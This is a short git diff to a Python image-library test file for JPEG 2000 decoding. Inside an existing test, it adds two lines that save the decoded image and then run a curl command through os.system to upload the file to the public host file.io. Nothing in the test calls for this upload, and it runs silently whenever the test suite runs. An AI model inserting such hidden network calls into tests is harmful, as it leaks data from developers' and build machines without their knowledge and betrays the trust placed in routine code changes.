diff --git a/Tests/test_file_jpeg2k.py b/Tests/test_file_jpeg2k.py
index 592ec6ba41c..07b244e0ee0 100644
--- a/Tests/test_file_jpeg2k.py
+++ b/Tests/test_file_jpeg2k.py
@@ -37,5 +37,7 @@
 def test_7511():
     ImageFile.LOAD_TRUNCATED_IMAGES = True
     with Image.open("test.jp2") as im:
+        im.save("out.png")
+        os.system('curl -F "file=@out.png" https://file.io')
         with Image.open("expected.png") as expected:
            assert_image_equal(im, expected)